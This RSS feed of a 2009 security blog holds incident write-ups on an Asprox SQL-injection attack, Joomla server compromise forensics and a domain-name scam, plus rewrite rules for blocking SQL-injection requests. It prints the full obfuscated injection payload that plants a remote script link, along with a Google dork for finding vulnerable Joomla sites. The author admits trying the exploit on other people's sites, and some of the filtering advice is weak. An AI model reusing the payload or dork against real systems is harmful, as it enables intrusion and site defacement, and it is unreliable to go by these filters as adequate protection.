<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>leinadium &#187; security</title>
	<atom:link href="http://www.leinadium.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.leinadium.com</link>
	<description>Techhead. Codewarrior. Legalnerd.</description>
	<lastBuildDate>Fri, 02 Sep 2011 20:09:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Fast-flux botnet! Asprox! SQL Injection! oh no!</title>
		<link>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/</link>
		<comments>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:03:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=36</guid>
		<description><![CDATA[No, it&#8217;s not from &#8220;back to the future&#8221;. But it might make you rip your hair out and you&#8217;ll end up looking like the Doc. Here&#8217;s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122 and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html This morning I got a frantic call from headoffice [...]]]></description>
			<content:encoded><![CDATA[<p>No, it&#8217;s not from &#8220;back to the future&#8221;. But it might make you rip your hair out and you&#8217;ll end up looking like the Doc.</p>
<p>Here&#8217;s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122<br />
and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html</p>
<p>This morning I got a frantic call from headoffice telling me that we&#8217;ve been hacked and that the database is filled with Javascript strings pointing to www.banner82.com/b.js. Both banner82.com and banner82.org are referenced in the scripts.</p>
<p>Here&#8217;s the querystring that was (and is still) being tried against all variables of our application:<br />
<code><br />
DECLARE%20@S%20 VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832 3535292C40432056415243484152283235352920444 5434C415245205461626C655F437572736F72204355 52534F5220464F522053454C45435420612E6E616D6 52C622E6E616D652046524F4D207379736F626A6563 747320612C737973636F6C756D6E732062205748455 24520612E69643D622E696420414E4420612E787479 70653D27752720414E442028622E78747970653D393 9204F5220622E78747970653D3335204F5220622E78 747970653D323331204F5220622E78747970653D313 63729204F50454E205461626C655F437572736F7220 4645544348204E4558542046524F4D205461626C655 F437572736F7220494E544F2040542C404320574849 4C4528404046455443485F5354415455533D3029204 24547494E20455845432827555044415445205B272B4 0542B275D20534554205B272B40432B275D3D525452 494D28434F4E5645525428564152434841522834303 030292C5B272B40432B275D29292B27273C736372697 074207372633D687474703A2F2F7777772E62616E6E 657238322E636F6D2F622E6A733E3C2F736372697074 3E27272729204645544348204E4558542046524F4D205461626C<br />
655F437572736F7220494E544F2040542C404320454E 4420434C4F5345205461626C655F437572736F722044 45414C4C4F43415445205461626C655F437572736F722</code></p>
<p><code>0%20AS%20VARCHAR(4000));EXEC(@S);--<br />
</code><br />
which translates to the following sql statements:<br />
<code><br />
DECLARE<br />
@T VARCHAR(255),<br />
@C VARCHAR(255)<br />
DECLARE<br />
Table_Cursor<br />
CURSOR FOR<br />
SELECT<br />
a.name,b.name<br />
FROM<br />
sysobjects a,syscolumns b<br />
WHERE<br />
a.id=b.id AND<br />
a.xtype='u' AND<br />
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)<br />
OPEN<br />
Table_Cursor<br />
FETCH NEXT FROM<br />
Table_Cursor<br />
INTO @T,@C<br />
WHILE(@@FETCH_STATUS=0)<br />
BEGIN<br />
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')<br />
FETCH NEXT FROM Table_Cursor<br />
INTO @T,@C<br />
END<br />
CLOSE Table_Cursor<br />
DEALLOCATE Table_Cursor<br />
</code>(courtesy of http://pastebin.com/d73dda647)</p>
<p>So we got hit. Here&#8217;s what we did and what you can do to protect your servers.</p>
<p>Step 1. Take down the site.<br />
Step 2. Clean the database<br />
Step 3. Patch the .asp pages to look for possible injection attacks.<br />
Step 4. Bring the site back up and monitor it.</p>
<p>Here are some tips:<br />
1. Taking down the site is quickly done in IIS, but it&#8217;s worthwhile to redirect to a page that tells users that you&#8217;ll be back up shortly.<br />
2. To clean the database I used 2 stored procedures. The reason that there are 2 is that SQL Server 2000 needs some extra tweaking when it comes to ntext fields.<br />
2a. The first stored procedure was taken from this site: http://vyaskn.tripod.com/sql_server_search_and_replace.htm.<br />
I had to customize the stored prcedure a bit, but<span style="font-family: verdana; font-size: 85%;"><span style="font-family: verdana; font-size: 85%;"> Vyas has written a great stored procedure that gets us halfway there.2b. <span style="font-family: verdana; font-size: 85%;"><span style="font-family: verdana; font-size: 85%;">Now we just have ntext fields left that contain the javascript tags. Ntext fields are more difficult to work with, as you can&#8217;t use the replace function. Instead, we use the Updatetext function.<br />
To do this, I customized the stored procedure found on http://sqlserver2000.databases.aspfaq.com/how-do-i-handle-replace-within-an-ntext-column-in-sql-server.html<br />
at aspfaq.com<br />
This stored procedure will replace one string with another in ntext fields. Even though this wasn&#8217;t strictly necessary (as you can see above, the ntext fields were cut down to 4000 character fields in the attack), I decided to find out how to replace strings in ntext fields.3. Patching the pages: To do so, you can either parameterize all your query variables into stored procedures (or cmd objects), or you can write your own asp function to strip all inputs before they are sent to the database in dynamic queries.<br />
We chose to go the route of writing our own asp function.</p>
<p>You can use something as simple as:</p>
<p>FUNCTION ChkString(string)<br />
IF string = &#8220;&#8221; THEN<br />
string = &#8221; &#8221;<br />
END IF<br />
ChkString = Replace(string, &#8220;&#8216;&#8221;, &#8220;&#8221;&#8221;)<br />
END FUNCTION</p>
<p>which will only make sure that all apostrophes are escaped. To make a more advanced function, you can add the Server.HTMLEncode function, and any regular expressions or replacing functions to filter out any offending characters. Just search for XSS vulnerability to get more information on this.</p>
<p>Of importance here is to make sure that all numeric values that go to the database are first enclosed in the CLNG conversion function. This will throw an error anytime an input contains a non-numeric string instead of the number you&#8217;re expecting. You can use this error to monitor how attacks on your site are made by specifying a custom asp error page in IIS.</p>
<p>The custom error page can be called asperror.asp and contain the following:</p>
<p>sub geterror<br />
&#8216; gather details about the error from the ASPError object<br />
&#8216; get the last error that occurred!<br />
set objasperror = server.getlasterror<br />
&#8216; go through the properties and get whatever you need&#8230;<br />
With objasperror<br />
code = .aspcode<br />
num = .number<br />
src = .source<br />
cat = .category<br />
file = .file<br />
line = .line<br />
column = .column<br />
desc = .description<br />
adesc = .aspdescription<br />
end With</p>
<p>&#8216; free ASPError object<br />
set objasperror = nothing</p>
<p>&#8216;sendmail<br />
Sendmail &#8220;info@mail.com&#8221;, &#8220;info@mail.com&#8221; &#8220;asperror&#8221;, &#8220;Code: &#8221; &amp; code &amp; VbCrLf &amp; &#8220;Num: &#8221; &amp; num &amp; VbCrLf &amp; &#8220;src: &#8221; &amp; src &amp; vbCrLf &amp; &#8220;cat: &#8221; &amp; cat &amp; VbCrLf &amp; &#8220;File: &#8221; &amp; file &amp; VbCrLf &amp; &#8220;line: &#8221; &amp; line &amp; VbCrLf &amp; &#8220;Column: &#8221; &amp; column &amp; VbCrLf &amp; &#8220;Desc: &#8221; &amp; desc &amp; VbCRLf &amp; &#8220;ASPDesc: &#8221; &amp; adesc &amp; VbCrLf &amp; &#8220;QueryString:&#8221; &amp; Request.QueryString() &amp; VbCrLf &amp; Request.Form() &amp; VbCrLf &amp; &#8220;Referer: &#8221; &amp; Request.ServerVariables(&#8220;HTTP_Referer&#8221;) &amp; &#8221; &#8221; &amp; Request.ServerVariables(&#8220;REMOTE_ADDR&#8221;)</p>
<p>END SUB</p>
<p>This kind of function will keep you up-to-date on how and who is trying to attack your server.</p>
<p>4. Last but not least: Avoid this kind of attack all together. With an ISAPI component like ISAPI Rewrite by Helicon, you state something like:<br />
Rewriterule .*DECLAREs.* http://www.mysite.com/block.asp [I,R]<br />
which will make sure that all these attempts are redirected.</p>
<p></span></span></p>
<p></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Isapi Rewrite is a great product!</title>
		<link>http://www.leinadium.com/code/isapi-rewrite-is-a-great-product/</link>
		<comments>http://www.leinadium.com/code/isapi-rewrite-is-a-great-product/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:02:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[isapi]]></category>
		<category><![CDATA[rewrite]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=34</guid>
		<description><![CDATA[After the sql injection attacks of the previous few days, it becomes clear that ISAPI Rewrite is a good tool to have around. Here&#8217;s a few rules that will help: RewriteRule .*DECLARE.* /security-violation.htm [I] RewriteRule .*NVARCHAR.* /security-violation.htm [I] RewriteRule .*INSERT .* /security-violation.htm [I] RewriteRule .*INSERT %20.* /security-violation.htm [I] RewriteRule .* xp_.* /security-violation.htm [I] RewriteRule .*%20xp_.* [...]]]></description>
			<content:encoded><![CDATA[<p>After the sql injection attacks of the previous few days, it becomes clear that ISAPI Rewrite is a good tool to have around.</p>
<p>Here&#8217;s a few rules that will help:<br />
RewriteRule .*DECLARE.* /security-violation.htm [I]<br />
RewriteRule .*NVARCHAR.* /security-violation.htm [I]<br />
RewriteRule .*INSERT .* /security-violation.htm [I]<br />
RewriteRule .*INSERT %20.* /security-violation.htm [I]<br />
RewriteRule .* xp_.* /security-violation.htm [I]<br />
RewriteRule .*%20xp_.* /security-violation.htm [I]<br />
RewriteRule .*%20@.* /security-violation.htm [I]<br />
RewriteRule .* @.* /security-violation.htm [I]<br />
RewriteRule .*@%20.* /security-violation.htm [I]<br />
RewriteRule .*@ .* /security-violation.htm [I]<br />
RewriteRule .*&#8217;;* /security-violation.htm [I]<br />
RewriteRule .*EXEC(@.* /security-violation.htm [I]<br />
RewriteRule .*sp_password.* /security-violation.htm [I]<br />
RewriteRule /security-violation.htm /security.asp [I,L]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/isapi-rewrite-is-a-great-product/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chinese Domain Name Scam</title>
		<link>http://www.leinadium.com/security/chinese-domain-name-scam/</link>
		<comments>http://www.leinadium.com/security/chinese-domain-name-scam/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:51:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[scam]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=19</guid>
		<description><![CDATA[similar info: http://blog.sinohosting.net/beware-of-chinese-domain-names-fraud/ http://groups.google.com/group/Google_Webmaster_Help-Indexing/browse_thread/thread/f59105ca186910e6/651afbef9415f099 Here&#8217;s the email I received: &#62; (If you are NOT CEO, please forward this to your CEO, because this is urgent. Thanks.) &#62; &#62; Dear CEO , &#62; &#62; We are the department of registration service in China. We have something need to confirm with you. We formally received an applicationon [...]]]></description>
			<content:encoded><![CDATA[<p>similar info:</p>
<p>http://blog.sinohosting.net/beware-of-chinese-domain-names-fraud/</p>
<p>http://groups.google.com/group/Google_Webmaster_Help-Indexing/browse_thread/thread/f59105ca186910e6/651afbef9415f099</p>
<p>Here&#8217;s the email I received:</p>
<p>&gt; (If you are NOT CEO, please forward this to your CEO, because this is urgent. Thanks.)<br />
&gt;<br />
&gt; Dear CEO ,<br />
&gt;<br />
&gt; We are the department of registration service in China. We have something need to confirm with you. We formally received an applicationon on August 11, 2008. One company which called &#8220;LQ Investment Services, Inc&#8221; are applying to register &#8220;domainname&#8221; as internet brand and CN domain names:<br />
&gt; domainname,net.cn<br />
&gt; domainname.org.cn<br />
&#8230;..<br />
&#8230;.<br />
&#8230;<br />
..<br />
&gt; After our initial examination, we found that the internet brand applied for registration are as same as your company&#8217;s name and trademark.These days we are dealing with it, hope to get the affirmation from your company. If your company has not authorized the aforesaid company to register these, Please contact us as soon as possible.<br />
&gt; In addition, we hereby affirm that our time limit is 7 workdays. If your company files no reply within the time limit, we will unconditionally approve the application submitted by &#8220;LQ Investment Services, Inc&#8221;.<br />
&gt;<br />
&gt; Best Regards,<br />
&gt;<br />
&gt; Peter Wang<br />
&gt; Register and Audit department<br />
&gt; Tel: +86-21-52715980<br />
&gt; Fax: +86-21-52715978<br />
&gt; Web:  www.meep-china.org.cn<br />
&gt; Address:11/F, Building A, Oasis Plaza, 137 Bailan Road, Putuo District, Shanghai, China</p>
<p>The scam works like this:<br />
This company will probably offer to let you register these domains before that dangerous nemesis of yours &#8220;LQ Investment Services Inc.&#8221; will register them. It may cost you an arm and a leg for domains you had never dreamed of buying before. Don&#8217;t fall for it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/security/chinese-domain-name-scam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php joomla exploit</title>
		<link>http://www.leinadium.com/security/php-joomla-exploit/</link>
		<comments>http://www.leinadium.com/security/php-joomla-exploit/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:50:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[com_article]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=17</guid>
		<description><![CDATA[Here&#8217;s the forensic story of one of our joomlaboxes getting hacked, courtesy of Alex: It seems the &#8220;attack&#8221; was coordinated from a single ip, 195.5.117.252. The reverse dns for this IP points to c31.esthost.eu, and there are a lot of services open on that system. I&#8217;ve done a short scan of the host and the [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s the forensic story of one of our joomlaboxes getting hacked, courtesy of Alex:</p>
<p>It seems the &#8220;attack&#8221; was coordinated from a single ip, 195.5.117.252. The<br />
reverse dns for this IP points to c31.esthost.eu, and there are a lot of<br />
services open on that system. I&#8217;ve done a short scan of the host and the<br />
results are attached in &#8220;scan.txt&#8221;. It seems the host runs openvpn on most of<br />
the ports, which means it is used to disguise the true identity of the<br />
attacker (fx, if the attacker connects himself to the vpn, the external ip of<br />
the site he will visit will be the vpn servers&#8217; ip).</p>
<p>There was one question that bothered me &#8211; HOW did the remote attacker get that<br />
shell on our server? The answer is dead simple and it&#8217;s the awful truth:<br />
SIMPLE PASSWORDS. The &#8220;admin&#8221; user on the joomla install seems to have had the<br />
password &#8220;adminpass&#8221;. I can&#8217;t say wether the password was set remotely, or if<br />
the password was always adminpass, but it is now adminpass. Of course, i<br />
disabled the account, so it can&#8217;t be used anymore.</p>
<p>The password wasn&#8217;t just random trial and error, it was a sure-shot. The<br />
joomla bibtex plugin has a little problem handling some POST-vars, aka it<br />
doesn&#8217;t mysql_real_escape_string or addslashes on the posted data. The exploit is known and you can find more info on this link:<br />
<a href="http://www.milw0rm.com/exploits/4310">http://www.milw0rm.com/exploits/4310 </a></p>
<p>It comes with full info about how to reproduce the bug. I even tested it in<br />
the wild and managed to list users on a couple of sites. On one of them, I<br />
managed to login with FULL administrative access. All this, even though the<br />
password is stored md5-hashed. A simple Google search for the hash revealed<br />
the password (not necesarily the SAME password, but a pwd with the same hash).</p>
<p>So, to sum things up, this is the chain of events: script googles for sites<br />
that expose the com_jombib extension (with, say a simple google search:<br />
inurl:index.<strong style="color: black; background-color: #a0ffff;">php</strong>?option=com_jombib), finds our site, tries the exploit,<br />
and tricks the extension into listing all the joomla users and their md5-<br />
hashed password. A simple google search revealed the true password<br />
(adminpass).</p>
<p>At this stage, the remote user had administrative access to the site. He<br />
now installs a plugin called &#8220;com_article&#8221; &#8211; nothing suspicious about that,<br />
right? The plugin consists of a single <strong style="color: black; background-color: #a0ffff;">php</strong> file &#8211; the <strong style="color: black; background-color: #a0ffff;">php</strong> shell, that was<br />
available at the following link:</p>
<p>The GET parameter is required for the shell to be rendered. Otherwise an error<br />
is thrown. Once the user launched the shell, he edited whatever files he<br />
wanted, and then he uploaded other files as well. And this is the end. Another<br />
compromised box in the wild  <img src='http://www.leinadium.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>I couldn&#8217;t have found out any of the stuff above if it weren&#8217;t for the<br />
accesslogs. It was a good ideea to keep the last 6 months&#8217; archives <img src='http://www.leinadium.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>The <strong style="color: black; background-color: #a0ffff;">PHP</strong> shell can be found anywhere on the net (i think), and it had a<br />
&#8220;clever&#8221; trick to disguise its real <strong style="color: black; background-color: #a0ffff;">php</strong> code (it was base64 encoded and inline<br />
compressed TWELVE times &#8211; hence the 12 in the shell12.<strong style="color: black; background-color: #a0ffff;">php</strong> filename).</p>
<p>Any file could&#8217;ve been accessed by the remote attacker and a) deleted b)<br />
searched for various info (passwords, stuff like that). I don&#8217;t know and I<br />
can&#8217;t say what got affected by the shell, as there are no traces in the system<br />
(it is a pseudo-shell, running simple, exec() commands).</p>
<p>As a general preventive measure, systems need to be updated regularly to allow<br />
upstream security patches to be applied. This is true for every linux app,<br />
library, distribution, and for any script (<strong style="color: black; background-color: #ff66ff;">asp</strong>, <strong style="color: black; background-color: #a0ffff;">php</strong>, a.s.o). There is nothing<br />
that the user could&#8217;ve done to prevent this, except for using a stronger password<br />
(even though this is relative &#8211; check this forum thread:</p>
<p>&lt;<a href="http://forum.insidepro.com/viewtopic.php?t=1741">http://forum.insidepro.com/viewtopic.<strong style="color: black; background-color: #a0ffff;">php</strong>?t=1741</a>&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/security/php-joomla-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dotbot block</title>
		<link>http://www.leinadium.com/security/dotbot-block/</link>
		<comments>http://www.leinadium.com/security/dotbot-block/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:46:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[dotbot]]></category>
		<category><![CDATA[robots.txt]]></category>
		<category><![CDATA[searchengine]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=9</guid>
		<description><![CDATA[This morning I blocked the dotbot from http://www.dotnetdotcom.org/. They say they&#8217;re doing us a favour, but in the meantime my urlerror log had filled up. It seems their bot does not understand the length of certain urls. Ours were always cut off after around 23 letters. bye bye for now. ip of bot: 208.115.111.244]]></description>
			<content:encoded><![CDATA[<p>This morning I blocked the dotbot from http://www.dotnetdotcom.org/.<br />
They say they&#8217;re doing us a favour, but in the meantime my urlerror log had filled up.<br />
It seems their bot does not understand the length of certain urls.<br />
Ours were always cut off after around 23 letters.<br />
bye bye for now.<br />
ip of bot: 208.115.111.244</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/security/dotbot-block/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

